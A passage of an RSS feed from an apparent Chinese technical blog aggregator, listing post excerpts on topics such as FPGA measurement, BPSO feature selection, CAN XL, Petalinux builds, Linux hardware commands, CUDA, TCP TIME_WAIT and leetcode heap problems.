gitlab仓库地址&#xA;构建触发器-&amp;gt;在构建处添加打包脚本-&amp;gt;在Execute wINDOWS BATCH COMMAND&#xA;命令&#xA;下添加打包脚本&#xA;测试：控制台输出。&#xA;查看生成文件 builiding in workplace C:\User\delljekins\workplace\Pair&#xA;Dashboard 权限管理&#xA;Anyone</description>
    </item>
    <item>
      <title>基于FPGA的等精度多功能测频仪（ 三）占空比测量——开发板测试</title>
      <link>https://bchobby.github.io/posts/6935c24ecc3e7a4a9b808d055d0a7716/</link>
      <pubDate>Sun, 09 May 2021 14:57:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6935c24ecc3e7a4a9b808d055d0a7716/</guid>
      <description> 占空比测量的思路： 分别对输入信号在高电平时间内计数，低电平时间内计数。&#xA;占空比 = 高电平计数值 / (高电平计数值 + 低电平计数值)&#xA;状态机实现： 仿真： 下板子 </description>
    </item>
    <item>
      <title>Binary Particle Swarm Optimization(BPSO) for Feature Selection(二进制粒子群求解特征选择)</title>
      <link>https://bchobby.github.io/posts/179a19d1d74e65730cc9da00d8a39320/</link>
      <pubDate>Sun, 09 May 2021 14:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/179a19d1d74e65730cc9da00d8a39320/</guid>
      <description>文章目录 前言一、粒子群算法学习过程二、特征选择实战1.数据集以及matlab源码2.参数说明3.实验结果 总结 前言 PSO算法是一种群智能优化算法，特点是布置速度快，收敛性强。同时面对着两大问题，容易早熟和容易陷入局部最优。对于特征选择这类离散型问题，我们使用二进制版本的BPSO进行优化。在PSO的迭代过程中，每个粒子都会向种群历史最优解(Gbest)和粒子本身历史最优解(Pbest)进行学习，同时也会不断地更新Gbest与Pbest，最后会收敛在Gbest与Pbest之间的某个区域。&#xA;注意：（Gbest只有一个，所有粒子都会向它学习，而Pbest对于每个粒子都有一个，只属于它们自己，它们只会向自己的Pbest进行学习，这样说应该大家都能听懂了）&#xA;一、粒子群算法学习过程 对于特征选择问题是这样描述的，现实中由于采样不均匀导致某些采样偏离了真实的分布，所以这部分特征反而会对数据的利用造成负面影响，那么特征选择的目的就是找出这些错误的特征和冗余的特征。&#xA;那么我们定义一个1*N维的0-1向量，每一位都只能是0或者1，0代表不用这一维特征，1代表选用这一维&#xA;特征。&#xA;那么BPSO是怎么进行学习的呢？公式如下：&#xA;先看到第一个公式： 代表着粒子的速度更新公式，粒子在每一维都有一个速度值(前面我们已经提到了数据有很多维特征),那么每一维都要进行更新。其中 ω ( t ) \omega(t) ω(t)代表着当前迭代次数的惯性系数，也就是说继承来自上次迭代速度的比重，写一篇博客好难啊啊啊啊，继续，另外加上的两项呢，分别是与Pbest和Gbest位置的差异，这里非常重要！！！，如果不好好理解，就弄不明白了。位置的差异通过两个系数c1，c2和两个[0,1]随机数r1，r2 相乘，学习系数的作用是加大向Pbest和Gbest靠拢的可能性，而随机数r1，r2的作用是也是一种精髓，启发式随机搜索的精髓，用它，肯定好，为什么？谁也说不清，不用它，鲁棒性真的会变差。&#xA;下面举个例子，&#xA;粒子 [0 0 1 1 0 1 0 1]&#xA;gbest [1 0 1 0 0 0 1 1]&#xA;pbest [0 0 1 0 0 1 0 1]&#xA;先看第1维，我们现在要更新速度，发现&#xA;这两个公式上面公式是0，下面公式是1，对吧，忽略前面的[0,1]随机数系数（期望值0.5）那么加起来对速度的提升我们就假设为 1&#xA;现在看第6维，变成了上面公式是-1，下面公式是0，对速度的提升是-1，&#xA;由此我们发现，对于一个粒子如果它的Pbest和Gbest的某个维度位置不一致，那么它获得速度的期望大概是-1。&#xA;好，再看第2维，上面公式是0，下面公式也是0，粒子没有获得速度提升，那么之后会怎么样呢？变成了这样&#xA;也就是说如果惯性系数小于1，那么速度值越来越小了，大于1则越来越大。&#xA;再看到第二个公式： 这就是一个sigmoid函数，没想到吧，这里也会碰见神经网络这哥们，为什么用它？其他函数行嘛？当然可以，S型函数大家族那么多，你挑一挑其他杀马特(非主流)函数也行。大家都用sigmoid，这里就照搬了。&#xA;再看到第三个公式：重点来了&#xA;如果sigmoid的返回值大于[0,1]随机数(期望0.5),就把这个维度置为1，否则为1.注意这里不是取反，而是单纯的大于随机数置1，小于随机数置0，千万不要记成取反了(我以前就这样做)&#xA;我们再来复习一下sigmoid&#xA;那么为什么公式3有效呢？速度大就置为1，速度小就置为0，合理吗？&#xA;我总结一下：&#xA;Pbest与Gbest为1，粒子为0，位置差异为正，那么速度就大，此时粒子变为1的概率也越大，即完成了学习行为（向Pbest与Gbest靠拢了）&#xA;Pbest与Gbest为0，粒子为1，位置差异为负，那么速度就小，此时粒子变为0的概率也越大，即完成了学习行为（向Pbest与Gbest靠拢了）&#xA;好好理解上述话语，即理解了BPSO粒子速度与位置更新的含义，网上有很多人说什么以概率表示巴拉巴拉，其实并不好理解，只是想当然得觉得很对。&#xA;二、特征选择实战 1.数据集以及matlab源码 用一个数据集Wine(178instance，13features and 3 classes，数据集下载链接和分类器ELM(没别的就是快，下载链接)进行实验。</description>
    </item>
    <item>
      <title>下一代CAN通信技术CAN XL简介</title>
      <link>https://bchobby.github.io/posts/625833e1d31c93129ec47610ad6c3de1/</link>
      <pubDate>Sun, 09 May 2021 11:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/625833e1d31c93129ec47610ad6c3de1/</guid>
      <description>众所周知，CAN网络具有易于实现、可扩展、并支持复杂拓扑结构等诸多优点，所以目前在各个行业特别是汽车领域，得到了非常广泛的应用。但是，它也存在着诸多问题，其中最大的一点就是总线带宽和数据场长度太低，导致承载能力非常有限。为此，CiA（CAN-in-Automation，国际用户与制造商联合组织）推出了CAN FD（CAN with Flexible Data rate）。CAN FD继承了CAN总线的主要特性，但是弥补了CAN总线带宽和数据场长度的制约，CAN FD总线与CAN总线的区别主要在以下两个方面：&#xA;可变速率：CAN FD采用了两种位速率：从控制场中的BRS位到ACK场之前（含CRC分界符）为可变速率，其余部分为原CAN总线用的速率。两种速率各有一套位时间定义寄存器，它们除了采用不同的位时间单位TQ外，位时间各段的分配比例也可不同。&#xA;新的数据场长度：CAN FD对数据场的长度作了很大的扩充，DLC最大支持64个字节，在DLC小于等于8时与原CAN总线是一样的，大于8时有一个非线性的增长，所以最大的数据场长度可达64字节。&#xA;CAN FD引入了更快的比特率，在数据阶段可设置为高达5 Mbit/s，但其后果是由于信号振铃而受到严格的拓扑结构限制。这就使CAN FD局限于线性网络，限制了设计的自由度，增加了布线和系统成本。所以，在2020年的第17届国际CAN大会（iCC）上，CiA又推出了第三代CAN通信技术CAN XL。&#xA;一、什么是CAN XL CAN XL是一种高度可扩展的通信技术，涉及比特率和数据字段的长度。物理层仍在开发中。目标是实现高达10+ Mbit / s的比特率。 CAN XL针对面向区域的异构网络体系结构进行了优化。该方法以最优的长度满足未来车载网络的要求。汽车工业试图减少布线，以最小化重量，或者换句话说，是限制能耗。它的几个核心期望特性如下：&#xA;有效负载长度：与以太网帧长度一样；可靠性：等于或者优于CAN，CAN FD和10Mbit/s以太网的稳定性；鲁棒性：与CAN FD一样好，甚至要优于10Mbit/s以太网；波特率：在数据段的传输速率最大可达10Mbit/s；兼容性：向后兼容CAN FD。 CAN XL是对CAN和CAN FD的进一步扩展，并且在很大程度上遵循相同的运行原理。CAN报文分为仲裁场和数据场。尽管CAN XL在仲裁场使用500kbit/s至1Mbit/s的低速率，但数据场的传输速率却可提升至2Mbit/s至10Mbit/s。相对于CAN FD的可选速率切换功能，CAN XL强制执行速率切换。&#xA;此外，总线访问仍旧采用CSMA/CD（载波侦听多路访问/冲突解决方案），通过位仲裁解决总线访问权限问题。CAN XL遵循严格的优先级概念，允许更重要的消息无延迟地传输。CAN XL仅支持11位标识符ID，不再使用29位标识符ID。CAN XL凭借用于报头和帧以及格式检查的汉明距离6算法，确保数据传输的高可靠性，实际上胜过FlexRay和以太网的CRC功能。&#xA;然而，对于未来的应用而言重要的不仅仅是提高数据传输速率。CAN XL主要功能之一是数据场支持1~2048Byte的可变长度。在必要时，可将以太网帧打包为CAN XL消息，直接或间接通过CAN XL使用IP通信技术。&#xA;CAN XL传承自经典的CAN和CAN FD，并缩小了CAN/CAN FD与Ethernet之间的传输速度和耦合的差距。在合适的应用领域中，CAN XL可以采用更小巧更便宜的控制器。利用高达2048Byte的有效数据长度，CAN XL为将来传输以太网帧和利用IP通信提供所需的功能。在不久的将来，这意味着CAN XL和10base-T1S可以共同在基于信号的通信和面向服务的通信之间提供连接。通过对协议层进行适当的扩展，将为应用提供更丰富的可能性。&#xA;二、CAN XL Vs CAN FD 不少同学会问，那么CAN XL与CAN FD究竟差在什么地方呢？下面就进行详细的对比。&#xA;与CAN FD相比，CAN XL增加了位的数量；&#xA;这些附加位位于报文头与报文末尾处；&#xA;大多数的所需位是CRC，必须增加它才能保护超出的更多的字节。&#xA;1、报头部分 上图中顶部的黑线表示隐性，底部的黑线表示显性。那么我们分析上图可得出以下结论：&#xA;SOF和11位的CAN ID场在CAN、CAN FD、CAN XL中是通用的； CAN FD和CAN XL始终不支持RTR远程请求；CAN XL不支持IDE标识符扩展（29位CAN ID），该位始终处于显性；隐性FDF位指示CAN FD，隐性FDF、XLF位指示CAN XL；CAN FD中res位始终处于显性，隐性BRS位（波特率切换）会提升传输速率；CAN FD中ESI位通常处于显性，但处于被动错误时会变为隐性；CAN XL中resXL位是隐性的，可用于将来的扩展；CAN XL中AL1、DH1和DL1作为新的波特率切换序列； CAN XL中Payload 8-bit用于不同数据包的预定义多路复用位；CAN XL中DLC是一个11位整数，其中数据字节数是该整数加1；CAN XL中Header-CRC用于保证DLC正确，DLC定义数据CRC从何处开始。 2、报尾部分 对于相同的数据长度，CAN XL中较长的报头可能需要较长的CRC；CAN XL包含用于波特率切换位，确保向前的兼容性；CAN XL CRC之后是波特率的切换模式，而不是CRC定界符；为了确保重新同步到未来格式的帧末尾，集成格式：将CAN XL中放置NACK添加到旧ACK中。 CAN XL每个CAN帧中有更多的数据：1-2048字节，并且在数据部分增加了波特率，具有更好的故障保护措施，可为下一代CAN做更好的准备。</description>
    </item>
    <item>
      <title>linux sd卡打包工具,使用Petalinux工具搭建Linux系统-SD卡启动模式</title>
      <link>https://bchobby.github.io/posts/657c1180cda39ceed111f63e15a066fc/</link>
      <pubDate>Sun, 09 May 2021 09:51:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/657c1180cda39ceed111f63e15a066fc/</guid>
      <description>本人小白，如有不对的地方请各位大佬指正，谢谢！&#xA;本文章使用的是ZCU102开发板&#xA;vivado版本：2019.1&#xA;petalinux版本：2019.1&#xA;创建项目流程(官网文档所给，根据自己需求酌情考虑做哪步指令)如下图所示：&#xA;注意：命令行的介绍请参考ug1157&#xA;将通过vivado生成好的硬件描述文件(.hdf/.dsa)复制到Ubuntu要建立工程的目录下。&#xA;注意：此目录不能与Petalinux工具安装目录相同，但文件夹权限是相同的，只能是0755&#xA;此例程，我将.hdf放在了 /home/wlp/nzywork/ petalinux19/中&#xA;创建新项目&#xA;分为两种：&#xA;第一种是直接创建空项目，自己去配置。&#xA;petalinux-create -t project -n hello_xilinx --template zynqMP&#xA;上述写法是在当前目录下创建项目。hello_xilinx是项目名称&#xA;出现下图报文，表示成功创建！&#xA;第二种是基于BSP创建项目，在其基础上增删一些自己想要的配置&#xA;petalinux-create -t project -s -n&#xA;初始化或更新petalinux项目的硬件配置&#xA;cd ./hello_xilinx&#xA;petalinux-config --get-hw-description=../ 此处路径为.hdf文件所在路径。&#xA;也可使用绝对路径：&#xA;petalinux-config --get-hw-description /home/wlp/nzywork/petalinux19&#xA;当非第一次进入此配置菜单时，可以使用petalinux-config即可。&#xA;根据需求配置菜单，配置完成后保存退出。&#xA;修改petalinux-config-&amp;gt;DTG Settings-&amp;gt;MACHINE_NAME为zcu102-rev1.0即可&#xA;不同的板卡，此处所填写的名字也不同，请按照官方ug1144里面给出的值对应的进行填写。&#xA;此处我们将网口IP设置成静态IP，以方便我们测试&#xA;由于硬件设计，此处我们使用串口1，波特率115200&#xA;设置完成后，保存并退出&#xA;注意：配置中默认是SD1卡启动&#xA;编译&#xA;petalinux-build&#xA;打包生成BIN文件&#xA;cd images/linux/&#xA;petalinux-package --boot --format BIN --fsbl zynqmp_fsbl.elf --u-boot u-boot.elf --pmufw pmufw.elf --fpga *.bit&#xA;注意：当此目录下之前生成过BOOT.BIN，再次执行此操作时，在命令后要加上--force</description>
    </item>
    <item>
      <title>Linux下读取终端设备输入信息,详解Linux中几个获取硬件详细信息的命令</title>
      <link>https://bchobby.github.io/posts/3bbb923c2da57bb9c48cba2b19826942/</link>
      <pubDate>Sun, 09 May 2021 02:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bbb923c2da57bb9c48cba2b19826942/</guid>
      <description>在Linux系统特别是服务器系统中常常会需要查看设备的硬件信息，这时候使用命令查看就显得非常方便。本文介绍几个在Linux系统中查看硬件信息的命令，它们是lspci、lsblk、lscpu 和 lsusb。&#xA;lspci 命令&#xA;从命令的名称ls+pci的组合上大致也能看出来，lspci用于显示有关系统中的PCI总线以及与其连接的设备的信息。默认情况下，它显示设备的简短列表，如果配合指定的选项使用可以显示输出更详细的信息。&#xA;语法格式：&#xA;lspci [参数]&#xA;常用参数：&#xA;选项&#xA;描述&#xA;-n&#xA;以数字方式显示PCI厂商和设备代码&#xA;-t&#xA;以树状结构显示PCI设备的层次关系&#xA;-b&#xA;以总线为中心的视图&#xA;-s&#xA;仅显示指定总线插槽的设备和功能块信息&#xA;-i&#xA;指定PCI编号列表文件，不使用默认文件&#xA;-m&#xA;以机器可读方式显示PCI设备信息&#xA;使用示例：&#xA;默认情况下终端中直接输入该命令，显示当前主机的所有PCI总线信息：&#xA;lspci&#xA;输出类似如下：&#xA;00:00.0 Host bridge: Intel Corporation Xeon E7 v2/Xeon E5 v2/Core i7 DMI2 (rev 04)&#xA;00:01.0 PCI bridge: Intel Corporation Xeon E7 v2/Xeon E5 v2/Core i7 PCI Express Root Port 1a (rev 04)&#xA;00:02.0 PCI bridge: Intel Corporation Xeon E7 v2/Xeon E5 v2/Core i7 PCI Express Root Port 2a (rev 04)</description>
    </item>
    <item>
      <title>Python ImportError: cannot import name ‘Imputer‘ from ‘sklearn.preprocessing‘</title>
      <link>https://bchobby.github.io/posts/2b5354137f834e1b5bf9d975989ef6d9/</link>
      <pubDate>Sat, 08 May 2021 23:05:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b5354137f834e1b5bf9d975989ef6d9/</guid>
      <description>Python 导入 sklearn 模块错误 我是在做《Python大数据处理》书籍中的例题时导入 sklearn 遇到的错误 这个错误的原因是 sklearn 模块导入的问题，是由于 Python 版本与 sklearn 模块版本不对等的问题&#xA;首先是要安装 sklearn 模块 不是完全标准的pip安装，指令如下&#xA;pip install -U scikit-learn&#xA;在安装的时候可能会在cmd界面遇到如下警告：&#xA;WARNING: You are using pip version 21.0.1; however, version 21.1.1 is available. 警告：您使用的是pip版本21.0.1；但是，版本21.1.1可用。 之后再Python根目录下使用如下指令，更新pip版本以防一些模块更新与Python版本的冲突 python.exe -m pip install --upgrade pip 见到此语句即为安装成功 Successfully installed pip-21.x.x (帖子目前为21.1.1) 接下来是解决核心问题 错误语句：from sklearn.preprocessing import Imputer ImportError: cannot import name &#39;Imputer&#39; from &#39;sklearn.preprocessing&#39; Path 错误原因为 导入模块失败 from sklearn.preprocessing import Imputer 将导入模块的语句改为 from sklearn.</description>
    </item>
    <item>
      <title>cuda编程</title>
      <link>https://bchobby.github.io/posts/8dbb69e19dad209a18da5d829ab4c0a8/</link>
      <pubDate>Sat, 08 May 2021 21:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dbb69e19dad209a18da5d829ab4c0a8/</guid>
      <description>cuda 编程一般结构为：&#xA;1 主程序.c &amp;lt;&amp;lt; 2 主机(H)端&amp;amp;设备(D)端数据传递及GPU子程序调用.cu &amp;lt;&amp;lt; 3 GPU子程序.cu &amp;amp; CPU子程序.c&#xA;2.cu中一般结构为：&#xA;#1设定显卡号i cudaSetDevice(i); check_gpu_error(&#34;Failed to initialize device&#34;); #2设定grid和block块 dim3 grid((nz+Block_Sizez-1)/Block_Sizez,(ny+Block_Sizey-1)/Block_Sizey,nx+Block_Sizex-1)/Block_Sizex); dim3 block(Block_Sizey,Block_Sizex,Block_Sizez); #3申请设备端内存并初始化 cudaMalloc(&amp;amp;d_data, n_data*sizeof(float)); cudaMemset(d_data, 0, n_data*sizeof(float)); #主机端到设备端数据传递 cudaMemcpy(d_data, h_data, n_data*sizeof(float), cudaMemcpyHostToDevice); #对于二维数组 #申请设备端内存并初始化 cudaMallocPitch((void**)&amp;amp;d_data, &amp;amp;pitch, nz*sizeof(float), nx); cudaMemset2D(d_data, pitch, 0, nz*sizeof(float), nx); #主机端到设备端数据传递 cudaMemcpy2D(d_data, pitch, h_data, sizeof(float)*nz, sizeof(float)*nz, nx, cudaMemcpyHostToDevice); #4调用GPU子程序 gpusubroutine&amp;lt;&amp;lt;&amp;lt;gridsize,blocksize&amp;gt;&amp;gt;&amp;gt;（pitch/sizeof(float),otherparameters） #运算同步 cudaDeviceSynchronize()； check_gpu_error(&#34;there is something wrong&#34;); #5设备端到主机端数据回传 cudaMemcpy(h_data, d_data, n_data*sizeof(float), cudaMemcpyDeviceToHost); cudaMemcpy2D(h_data, sizeof(float)*nz, d_data, pitch, sizeof(float)*nz, nx, cudaMemcpyDeviceToHost); #6显存释放 cudaFree(d_data); 3gpusubroutine.</description>
    </item>
    <item>
      <title>计算机网络面试题（二）TIME_WAIT 状态</title>
      <link>https://bchobby.github.io/posts/048c7fcfa9ec2a8208f780f317c356b1/</link>
      <pubDate>Sat, 08 May 2021 18:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/048c7fcfa9ec2a8208f780f317c356b1/</guid>
      <description>回顾第一篇的三次握手和四次挥手流程&#xA;三次握手&#xA;TCP连接在关闭的时候，执行的是一个四次握手的过程&#xA;客户端发送Fin报文段，进入Fin_wait1（终止等待1）状态服务器端收到FIN报文段，发送ACK表示确认，进入CLOSE_WAIT（关闭等待）状态，客户端收到Fin的确认报文段，进入Fin_wait2状态服务器发送Fin报文段，进入last_ack(最后确认状态)客户端收到fin报文端，发送ack，client进入time_wait状态，启动time_wait定时器，超时时间设置为2MSL，服务端收到ack进入close状态，客户端再2msl时间没有收到任何响应，time_wait超时，Client推断ACK已经被成功接收，结束tcp连接进入closed转态。 为什么TIME_WAIT状态需要经过2MSL(最大报文段生存时间)才能返回到CLOSE状态？ 虽然按道理，四个报文都发送完毕，我们可以直接进入CLOSE状态了，但是我们必须假象网络是不可靠的，有可能最后一个ACK丢失。所以TIME_WAIT（时间等待）状态就是用来重发可能丢失的ACK报文。在Client发送出最后的ACK回复，但该ACK可能丢失。Server如果没有收到ACK，将不断重复发送FIN片段。所以Client不能立即关闭，它必须确认Server接收到了该ACK。Client会在发送出ACK之后进入到TIME_WAIT状态。Client会设置一个计时器，等待2MSL的时间。如果在该时间内再次收到FIN，那么Client会重发ACK并再次等待2MSL。所谓的2MSL是两倍的MSL(Maximum Segment Lifetime)。MSL指一个片段在网络中最大的存活时间，2MSL就是一个发送和一个回复所需的最大时间。如果直到2MSL，Client都没有再次收到FIN，那么Client推断ACK已经被成功接收，则结束TCP连接。&#xA;time_wiat存在的理由 可靠的实现TCP全双工连接的终止 在进行关闭连接四次挥手协议时，最后的ACK是由主动关闭端发出的，如果这个最终的ACK丢失，服务器将重发最终的FIN，因此客户端必须维护状态信息允许它重发最终的ACK。如果不维持这个状态信息，那么客户端将响应RST分节，服务器将此分节解释成一个错误（在java中会抛出connection reset的SocketException)。然而这只是正常的关闭连接过程，并非异常。&#xA;因而，要实现TCP全双工连接的正常终止，必须处理终止序列四个分节中任何一个分节的丢失情况，主动关闭的客户端必须维持状态信息进入TIME_WAIT状态&#xA;允许老的重复分节在网络中消逝 TCP分节可能由于路由器异常而“迷途”，在迷途期间，TCP发送端可能因确认超时而重发这个分节，迷途的分节在路由器修复后也会被送到最终目的地，这个原来的迷途分节就称为lost duplicate。&#xA;在关闭一个TCP连接后，马上又重新建立起一个相同的IP地址和端口之间的TCP连接，后一个连接被称为前一个连接的化身（incarnation)，那么有可能出现这种情况，前一个连接的迷途重复分组在前一个连接终止后出现，从而被误解成从属于新的化身。&#xA;为了避免这个情况，TCP不允许处于TIME_WAIT状态的连接启动一个新的化身，因为TIME_WAIT状态持续2MSL，就可以保证当成功建立一个TCP连接的时候，来自连接先前化身的重复分组已经在网络中消逝。&#xA;如何避免time_wait问题 首先服务器可以设置SO_REUSEADDR套接字选项来通知内核，如果端口忙，但TCP连接位于TIME_WAIT状态时可以重用端口。&#xA;在一个非常有用的场景就是，如果你的服务器程序停止后想立即重启，而新的套接字依旧希望使用同一端口，此时SO_REUSEADDR选项就可以避免TIME_WAIT状态。&#xA;参考博文：&#xA;https://blog.csdn.net/qq_38950316/article/details/81087809&#xA;time_waiy:https://blog.csdn.net/huangyimo/article/details/81505558</description>
    </item>
    <item>
      <title>在Mac上Topaz Gigapixel AI作为Photoshop插件未显示在“文件”-＞“自动”中的解决方法</title>
      <link>https://bchobby.github.io/posts/7a3a5b94d03a387c49b6fb67c07d8a66/</link>
      <pubDate>Sat, 08 May 2021 10:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a3a5b94d03a387c49b6fb67c07d8a66/</guid>
      <description>在安装过程中，Gigapixel AI安装程序将尝试告诉Photoshop在哪里可以找到该程序的插件。有时，由于某种原因该过程可能会出错，因此我们需要手动告诉Photoshop在哪里可以找到插件。&#xA;具体方法如下&#xA;1.关闭Photoshop。&#xA;2.在“应用程序”下导航至Topaz Gigapixel AI应用程序。&#xA;3.右键单击并选择“显示包装内容”。&#xA;4.导航到“资源”文件夹。&#xA;5.右键单击 PS_Plugins文件夹，然后选择“制作替身”。&#xA;6.将新替身重命名为 TopazGigapixelAI。&#xA;7.右键单击并复制 TopazGigapixelAI 替身。&#xA;8.导航到/ Library / Application Support / Adobe / Plug-Ins / CC下的Adobe插件文件夹。&#xA;注意：如果您使用的是Adobe 2021和Big Sur，则计算机上可能不存在此位置。在这种情况下，请改用/ Applications / Adobe Photoshop 2020 / Plug-ins&#xA;9.将TopazGigapixelAI 替身粘贴到此文件夹中。&#xA;10.打开Photoshop。现在应在“文件”-&amp;gt;“自动”下显示“ Topaz Gigapixel AI”。&#xA;以上就是Topaz Gigapixel AI作为Photoshop插件未显示在“文件”-&amp;gt;“自动”中的解决方法，需要的朋友欢迎参考操作！</description>
    </item>
    <item>
      <title>【Share 2021】caoyang.log（END）</title>
      <link>https://bchobby.github.io/posts/0fdb93d60f744f8cb37b52be964a8575/</link>
      <pubDate>Sat, 08 May 2021 10:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fdb93d60f744f8cb37b52be964a8575/</guid>
      <description>本文停更，新篇发布于：https://www.jianshu.com/u/90c2509fcc3e&#xA;文章目录 开篇序May 202105-0805-0905-1005-1105-1205-1305-1405-1505-1605-1705-1805-1905-2005-2105-2205-2305-2405-2505-2605-2705-2805-2905-3005-31 June 202106-0106-0206-0306-0406-0506-0606-0706-0806-0906-1006-1106-1206-1306-1406-1506-1606-1706-1806-1906-2006-2106-2206-2306-2406-2506-2606-2706-2806-2906-30 July 202107-0107-0207-0307-0407-0507-0607-0707-0807-0907-1007-1107-1207-1307-1407-1507-1607-1707-1807-1907-2007-2107-2207-2407-2407-2507-2607-2707-2807-2907-3007-31 August 202108-0108-0208-0308-0408-05 完篇记 开篇序 真实原因是上一篇字数超上限不给写了，虽然我也确实很想重写新的…&#xA;目测上半年剩余时间会以更新运筹优化，数值计算以及随机分析的内容为主，等到下半年可能会重归本业做些有趣的事情。&#xA;今日凌晨VAE发布了新曲MV《乌鸦》，感觉VAE的创作风格真的是越来越剑走偏锋，与前三张专辑的风格迥异，但是多听几遍总是可以产生共情的。&#xA;所以有时候会想人和人的喜怒真的是不相通么？也许只是难以同乐，单论共悲或许要容易得多。&#xA;由于诸多的偏差，往往我们多数时候只能看到别人光鲜面，却发现自己大部分时候都是在平淡地活着，甚至是颓唐地活着，因此一旦觉察倒世上也有与我一样的人，难免就会触而生情。&#xA;但是我想到了这个年纪，并没有几个人真的可以做到无忧无虑，各式各样的烦恼总是会有。&#xA;人到底血肉之躯，脆弱的时候至刚易折，偶然有烛火照亮我，就会下意识地去追求这团微弱的光芒，渴求还能找到春天。&#xA;假若有缘，或许时间并不是问题，谁知道呢。确实是很久了，有时候觉得可能还是像这次决绝一点好罢。&#xA;宴尔新昏，如兄如弟。宴尔新昏，不我屑矣。品荼苦而故作乐，大约是会有一点这种感觉的罢。&#xA;May 2021 05-08 午休起来看到W已在801，克制，虽然看到了还是觉得有点遗憾， 定义【可达常数】：若存在常数 m m m，使得 ∀ n ≥ m \forall n\ge m ∀n≥m，图 G G G中任意两个顶点之间都存在一条长度为 n n n的路径，则称 m m m为可达常数。（简单也可以理解为 C n 2 C_n^2 Cn2​对顶点之间最短距离的最大值，其实这个定义不是很严谨）；&#xA;昨晚测试了一下随机生成的强连通图 G = ( V , E ) G=(V,E) G=(V,E)，其中 ∣ E ∣ = 2 ∣ V ∣ |E|=2|V| ∣E∣=2∣V∣的一个可达常数（reachability constant）的情况，从 ∣ V ∣ = 2 4 |V|=2^4 ∣V∣=24测试到 ∣ V ∣ = 2 16 |V|=2^{16} ∣V∣=216，发现可达常数刚好是 4 4 4~ 16 16 16，也就是 log ⁡ 2 ∣ V ∣ \log_2 |V| log2​∣V∣的水平，这个确实是一件很巧的事情。</description>
    </item>
    <item>
      <title>戴尔服务器装linux系统花屏,解决Virtual PC装Linux出现花屏</title>
      <link>https://bchobby.github.io/posts/7a918fc1e8e6ae1a6987f3e103db8c12/</link>
      <pubDate>Sat, 08 May 2021 07:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a918fc1e8e6ae1a6987f3e103db8c12/</guid>
      <description>解决Virtual PC装Linux出现花屏&#xA;发布时间:2007-09-27 21:29:22来源:红联作者:TecCTO&#xA;昨天，我兴冲冲的装上了redhat Linux,因为没有CD，所以是用ISO镜像装的，三个文件我一共下了四个多小时，得来不易啊，我是装在Virtual PC上的，由于Virtal PC的速度比较慢，又花了半个多小时才装好，可就当要大功告成，就要见到我那熟悉的“红帽子”的时候，却是花屏了。我的心一下就凉了。以前用VM的时候为什么就没出现这个问题呢。说实话，要不是为了VPC可以很好的解决虚拟机的文件共享，我才不用VPC呢。&#xA;出现问题就得解决问题，出现这种问题，我第一感觉就是像素设置问题，我上网查了一下，果然，是由于VPC不支持Linux的24色，只用16色，而Linux默认的是24色，恨死微软了，于是还得手动的改动。&#xA;步骤如下：&#xA;1、进入GRUB后，按下E进入编辑状态。&#xA;2、然后会出现三个选项 a.Root(0,0) b.kernel ...... c. ..... 用上下键下拉选中b项，并按下E进入编辑状态。&#xA;3、在该项后敲空格键后，加上single，然后回车回到Grub界面，这是为了进入单人模式。&#xA;4、然后按b，等待一会会出现“#”提示符，然后键入 vi /etc/X11/XF86Config 会进入设置界面。找到Session选项，并将其中的Deafult Depth 24 ；Depth 24；的“24”都改为16 ，改过后为Deafult Depth 16；Depth 16；&#xA;5、然后按ESC，并按下Shift +wq,然后回车&#xA;6、最后键入 init 6 就重新启动，便可见到小红帽了。&#xA;最后来谈一谈VPC、VM和Bochs&#xA;首先是适用范围VPC和VM可以模拟各种平台，而Bochs则是以Linux为主，其次是运作方式，VM确实是名副其实的虚拟机，他除了I/O之外，可以用运行时去完成任务，当CLient进行一些操作时，VM把它传递给底层硬件去完成，所以说是虚拟，而Bochs是完全模拟，完全模拟了X86的硬件和外围设备，VPC就是介于这二者之间，一部分用虚拟，一部分用模拟，所以运行的效率和速度就有差异了，VPC的速度最快，其次是VM，最慢的就是Bochs，但Bochs有着很好的调试功能，所以一直沿用。&#xA;总之，只要用的顺手，称心如意，其实那种工具都无所谓，这就和程序语言的选择是一个道理。</description>
    </item>
    <item>
      <title>leetcode—24.堆题目leetcode总结</title>
      <link>https://bchobby.github.io/posts/01490205fc8e1958d4f37ef0c6d4a25a/</link>
      <pubDate>Fri, 07 May 2021 18:05:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01490205fc8e1958d4f37ef0c6d4a25a/</guid>
      <description>文章目录 一个中心1046. 最后一块石头的重量 三个技巧295. 数据流的中位数1439. 有序矩阵中的第 k 个最小数组和264. 丑数 II871. 最低加油次数1642. 可以到达的最远建筑 一个中心 堆的中心就是动态求极值，动态与极值缺一不可。&#xA;1046. 最后一块石头的重量 有一堆石头，每块石头的重量都是正整数。&#xA;每一回合，从中选出两块 最重的 石头，然后将它们一起粉碎。假设石头的重量分别为 x 和 y，且 x &amp;lt;= y。那么粉碎的可能结果如下：&#xA;如果 x == y，那么两块石头都会被完全粉碎；&#xA;如果 x != y，那么重量为 x 的石头将会完全粉碎，而重量为 y 的石头新重量为 y-x。&#xA;最后，最多只会剩下一块石头。返回此石头的重量。如果没有石头剩下，就返回 0。&#xA;示例：&#xA;输入：[2,7,4,1,8,1]&#xA;输出：1&#xA;解释：&#xA;先选出 7 和 8，得到 1，所以数组转换为 [2,4,1,1,1]，&#xA;再选出 2 和 4，得到 2，所以数组转换为 [2,1,1,1]，&#xA;接着是 2 和 1，得到 1，所以数组转换为 [1,1,1]，&#xA;最后选出 1 和 1，得到 0，最终数组转换为 [1]，这就是最后剩下那块石头的重量。</description>
    </item>
    <item>
      <title>win 修改 git 登录凭证</title>
      <link>https://bchobby.github.io/posts/4f9aec813c82e4fa5c81a180107636c2/</link>
      <pubDate>Fri, 07 May 2021 16:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f9aec813c82e4fa5c81a180107636c2/</guid>
